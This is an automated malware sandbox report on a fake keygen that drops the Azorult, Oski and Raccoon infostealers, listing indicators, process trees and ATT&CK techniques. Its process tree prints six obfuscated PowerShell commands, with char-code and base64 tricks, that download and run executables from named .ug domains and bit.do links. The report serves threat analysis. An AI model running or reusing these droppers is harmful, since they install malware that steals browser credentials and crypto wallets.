azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
22s
max time network
151s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (88) — копия.exe

Score

10^/10

azorult oski raccoon discovery infostealer spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

9 3044 powershell.exe
10 3852 powershell.exe
12 3044 powershell.exe
14 3852 powershell.exe
17 4364 powershell.exe
26 4364 powershell.exe
Downloads MZ/PE file

flow	pid	process
9	3044	powershell.exe
10	3852	powershell.exe
12	3044	powershell.exe
14	3852	powershell.exe
17	4364	powershell.exe
26	4364	powershell.exe

Executes dropped EXE 14 IoCs

Processes:

Keygen.exebza.exevie.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exebza.exeFVjhgtresfdbv.exeNHtrdsaghfDF.execte.exeFVjhgtresfdbv.exeNHtrdsaghfDF.execte.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid	process
2424	Keygen.exe
4904	bza.exe
4896	vie.exe
5048	FVjhgtresfdbv.exe
5064	NHtrdsaghfDF.exe
4112	bza.exe
4172	FVjhgtresfdbv.exe
4176	NHtrdsaghfDF.exe
4648	cte.exe
4788	FVjhgtresfdbv.exe
492	NHtrdsaghfDF.exe
4864	cte.exe
4860	FVjhgtresfdbv.exe
1768	NHtrdsaghfDF.exe

Loads dropped DLL 3 IoCs

Processes:

FVjhgtresfdbv.exe

pid process

4172 FVjhgtresfdbv.exe
4172 FVjhgtresfdbv.exe
4172 FVjhgtresfdbv.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
4172	FVjhgtresfdbv.exe
4172	FVjhgtresfdbv.exe
4172	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

bza.exeNHtrdsaghfDF.exeFVjhgtresfdbv.execte.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

description	pid	process	target process
PID 4904 set thread context of 4112	4904	bza.exe	bza.exe
PID 5064 set thread context of 4176	5064	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 5048 set thread context of 4172	5048	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4648 set thread context of 4864	4648	cte.exe	cte.exe
PID 4788 set thread context of 4860	4788	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 492 set thread context of 1768	492	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

FVjhgtresfdbv.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString FVjhgtresfdbv.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2960 timeout.exe
1900 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe

pid	process
2960	timeout.exe
1900	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
3836	powershell.exe
3044	powershell.exe
3852	powershell.exe
3764	powershell.exe
3852	powershell.exe
3836	powershell.exe
3044	powershell.exe
3764	powershell.exe
3852	powershell.exe
3836	powershell.exe
3044	powershell.exe
3764	powershell.exe
4364	powershell.exe
4364	powershell.exe
4532	powershell.exe
4532	powershell.exe
4364	powershell.exe
4532	powershell.exe
4364	powershell.exe
4532	powershell.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

bza.exeNHtrdsaghfDF.exeFVjhgtresfdbv.execte.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

4904 bza.exe
5064 NHtrdsaghfDF.exe
5048 FVjhgtresfdbv.exe
4648 cte.exe
4788 FVjhgtresfdbv.exe
492 NHtrdsaghfDF.exe

pid	process
4904	bza.exe
5064	NHtrdsaghfDF.exe
5048	FVjhgtresfdbv.exe
4648	cte.exe
4788	FVjhgtresfdbv.exe
492	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exevie.exe

description	pid	process
Token: SeDebugPrivilege	3836	powershell.exe
Token: SeDebugPrivilege	3044	powershell.exe
Token: SeDebugPrivilege	3852	powershell.exe
Token: SeDebugPrivilege	3764	powershell.exe
Token: SeDebugPrivilege	4364	powershell.exe
Token: SeDebugPrivilege	4532	powershell.exe
Token: SeDebugPrivilege	4896	vie.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

Keygen.exebza.exeFVjhgtresfdbv.exeNHtrdsaghfDF.execte.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

2424 Keygen.exe
4904 bza.exe
5048 FVjhgtresfdbv.exe
5064 NHtrdsaghfDF.exe
4648 cte.exe
4788 FVjhgtresfdbv.exe
492 NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (88) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exebza.exe

description	pid	process	target process
PID 3860 wrote to memory of 1428	3860	Keygen — копия (88) — копия.exe	cmd.exe
PID 3860 wrote to memory of 1428	3860	Keygen — копия (88) — копия.exe	cmd.exe
PID 3860 wrote to memory of 1428	3860	Keygen — копия (88) — копия.exe	cmd.exe
PID 1428 wrote to memory of 2424	1428	cmd.exe	Keygen.exe
PID 1428 wrote to memory of 2424	1428	cmd.exe	Keygen.exe
PID 1428 wrote to memory of 2424	1428	cmd.exe	Keygen.exe
PID 1428 wrote to memory of 2136	1428	cmd.exe	mshta.exe
PID 1428 wrote to memory of 2136	1428	cmd.exe	mshta.exe
PID 1428 wrote to memory of 2136	1428	cmd.exe	mshta.exe
PID 1428 wrote to memory of 3024	1428	cmd.exe	mshta.exe
PID 1428 wrote to memory of 3024	1428	cmd.exe	mshta.exe
PID 1428 wrote to memory of 3024	1428	cmd.exe	mshta.exe
PID 1428 wrote to memory of 2960	1428	cmd.exe	timeout.exe
PID 1428 wrote to memory of 2960	1428	cmd.exe	timeout.exe
PID 1428 wrote to memory of 2960	1428	cmd.exe	timeout.exe
PID 3024 wrote to memory of 3836	3024	mshta.exe	powershell.exe
PID 3024 wrote to memory of 3836	3024	mshta.exe	powershell.exe
PID 3024 wrote to memory of 3836	3024	mshta.exe	powershell.exe
PID 2136 wrote to memory of 3044	2136	mshta.exe	powershell.exe
PID 2136 wrote to memory of 3044	2136	mshta.exe	powershell.exe
PID 2136 wrote to memory of 3044	2136	mshta.exe	powershell.exe
PID 1428 wrote to memory of 4040	1428	cmd.exe	mshta.exe
PID 1428 wrote to memory of 4040	1428	cmd.exe	mshta.exe
PID 1428 wrote to memory of 4040	1428	cmd.exe	mshta.exe
PID 1428 wrote to memory of 2992	1428	cmd.exe	mshta.exe
PID 1428 wrote to memory of 2992	1428	cmd.exe	mshta.exe
PID 1428 wrote to memory of 2992	1428	cmd.exe	mshta.exe
PID 1428 wrote to memory of 1900	1428	cmd.exe	timeout.exe
PID 1428 wrote to memory of 1900	1428	cmd.exe	timeout.exe
PID 1428 wrote to memory of 1900	1428	cmd.exe	timeout.exe
PID 4040 wrote to memory of 3852	4040	mshta.exe	powershell.exe
PID 4040 wrote to memory of 3852	4040	mshta.exe	powershell.exe
PID 4040 wrote to memory of 3852	4040	mshta.exe	powershell.exe
PID 2992 wrote to memory of 3764	2992	mshta.exe	powershell.exe
PID 2992 wrote to memory of 3764	2992	mshta.exe	powershell.exe
PID 2992 wrote to memory of 3764	2992	mshta.exe	powershell.exe
PID 1428 wrote to memory of 4276	1428	cmd.exe	mshta.exe
PID 1428 wrote to memory of 4276	1428	cmd.exe	mshta.exe
PID 1428 wrote to memory of 4276	1428	cmd.exe	mshta.exe
PID 4276 wrote to memory of 4364	4276	mshta.exe	powershell.exe
PID 4276 wrote to memory of 4364	4276	mshta.exe	powershell.exe
PID 4276 wrote to memory of 4364	4276	mshta.exe	powershell.exe
PID 1428 wrote to memory of 4428	1428	cmd.exe	mshta.exe
PID 1428 wrote to memory of 4428	1428	cmd.exe	mshta.exe
PID 1428 wrote to memory of 4428	1428	cmd.exe	mshta.exe
PID 4428 wrote to memory of 4532	4428	mshta.exe	powershell.exe
PID 4428 wrote to memory of 4532	4428	mshta.exe	powershell.exe
PID 4428 wrote to memory of 4532	4428	mshta.exe	powershell.exe
PID 3852 wrote to memory of 4896	3852	powershell.exe	vie.exe
PID 3852 wrote to memory of 4896	3852	powershell.exe	vie.exe
PID 3852 wrote to memory of 4896	3852	powershell.exe	vie.exe
PID 3044 wrote to memory of 4904	3044	powershell.exe	bza.exe
PID 3044 wrote to memory of 4904	3044	powershell.exe	bza.exe
PID 3044 wrote to memory of 4904	3044	powershell.exe	bza.exe
PID 4904 wrote to memory of 5048	4904	bza.exe	FVjhgtresfdbv.exe
PID 4904 wrote to memory of 5048	4904	bza.exe	FVjhgtresfdbv.exe
PID 4904 wrote to memory of 5048	4904	bza.exe	FVjhgtresfdbv.exe
PID 4904 wrote to memory of 5064	4904	bza.exe	NHtrdsaghfDF.exe
PID 4904 wrote to memory of 5064	4904	bza.exe	NHtrdsaghfDF.exe
PID 4904 wrote to memory of 5064	4904	bza.exe	NHtrdsaghfDF.exe
PID 4904 wrote to memory of 4112	4904	bza.exe	bza.exe
PID 4904 wrote to memory of 4112	4904	bza.exe	bza.exe
PID 4904 wrote to memory of 4112	4904	bza.exe	bza.exe
PID 4904 wrote to memory of 4112	4904	bza.exe	bza.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (88) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (88) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3860

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\3658.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (88) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1428

C:\Users\Admin\AppData\Local\Temp\3658.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2424

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3658.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2136

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3044

C:\Users\Public\bza.exe
"C:\Users\Public\bza.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4904

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5048

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4172

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5064

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4176

C:\Users\Public\bza.exe
"C:\Users\Public\bza.exe"
6⤵
- Executes dropped EXE
PID:4112

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3658.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3024

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3836

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2960

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3658.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4040

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3852

C:\Users\Public\vie.exe
"C:\Users\Public\vie.exe"
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4896

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3658.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2992

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3764

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1900

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3658.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4276

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4364

C:\Users\Public\cte.exe
"C:\Users\Public\cte.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4648

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4788

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:4860

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:492

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:1768

C:\Users\Public\cte.exe
"C:\Users\Public\cte.exe"
6⤵
- Executes dropped EXE
PID:4864

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\3658.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4428

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4532

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

